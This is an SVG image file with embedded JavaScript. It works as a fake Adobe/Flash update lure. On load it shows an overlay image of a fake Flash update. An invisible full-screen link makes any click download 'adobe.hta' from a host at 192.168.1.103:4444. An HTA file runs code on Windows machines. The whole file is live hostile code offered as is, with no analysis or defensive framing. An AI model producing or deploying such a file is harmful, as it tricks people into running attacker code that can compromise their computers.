<svg width="100%" height="100%" xmlns="http://www.w3.org/2000/svg" style="display: block; position: fixed; top: 0; left: 0;">
    <image href="http://192.168.1.103:4444/yarrak.svg" width="100%" height="100%" preserveAspectRatio="xMidYMid meet"/>
    <a href="http://192.168.1.103:4444/adobe.hta" download="adobe.hta">
        <rect width="1920" height="1080" fill="transparent" />
    </a>
    <script type="text/javascript">
        function showImage() {
            const overlay = document.createElementNS("http://www.w3.org/2000/svg", "rect");
            overlay.setAttribute("x", "0");
            overlay.setAttribute("y", "0");
            overlay.setAttribute("width", "100%");
            overlay.setAttribute("height", "100%");
            overlay.setAttribute("fill", "rgba(0, 0, 0, 0.5)");
            overlay.setAttribute("onclick", "removeImage()");

            const img = document.createElementNS("http://www.w3.org/2000/svg", "image");
            img.setAttribute("href", "https://hackread.com/wp-content/uploads/2018/10/fake-flash-update-cryptocurrency-malware-1.jpg");
            img.setAttribute("x", "50%");
            img.setAttribute("y", "50%");
            img.setAttribute("width", "720");
            img.setAttribute("height", "405");
            img.setAttribute("transform", "translate(-360,-202.5)");

            const svgElement = document.querySelector('svg');
            svgElement.appendChild(overlay);
            svgElement.appendChild(img);
        }

        function removeImage() {
            const svgElement = document.querySelector('svg');
            const overlay = svgElement.querySelector("rect[fill='rgba(0, 0, 0, 0.5)']");
            const img = svgElement.querySelector("image");
            if (overlay) svgElement.removeChild(overlay);
            if (img) svgElement.removeChild(img);
        }

        window.onload = showImage;
    </script>
</svg>